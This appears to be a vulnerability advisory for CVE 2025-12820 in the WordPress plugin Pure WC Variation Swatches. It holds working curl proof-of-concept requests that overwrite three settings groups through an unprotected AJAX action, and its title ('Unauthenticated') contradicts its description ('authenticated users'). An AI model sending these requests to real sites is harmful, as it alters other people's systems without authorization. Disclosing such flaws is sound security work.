Pure WC Variation Swatches <= 1.1.7 – Unauthenticated Settings Update | CVE 2025-12820

Description

The plugin does not have an authorization check when updating its settings, which could allow any authenticated users to update them.

Proof of Concept

1) tpwvs_general
curl -X POST 'http://localhost:10003/wp-admin/admin-ajax.php?action=tpwvs_update_settings'   -H 'Content-Type: application/x-www-form-urlencoded'   --data-urlencode 'tpwvs_general={"pwned":"By Nxploited"}'

2) tpwvs_shop
curl -X POST 'http://localhost:10003/wp-admin/admin-ajax.php?action=tpwvs_update_settings'   -H 'Content-Type: application/x-www-form-urlencoded'   --data-urlencode 'tpwvs_shop={"pwned":"By Nxploited"}'

3) tpwvs_style
curl -X POST 'http://localhost:10003/wp-admin/admin-ajax.php?action=tpwvs_update_settings'   -H 'Content-Type: application/x-www-form-urlencoded'   --data-urlencode 'tpwvs_style={"pwned":"By Nxploited"}'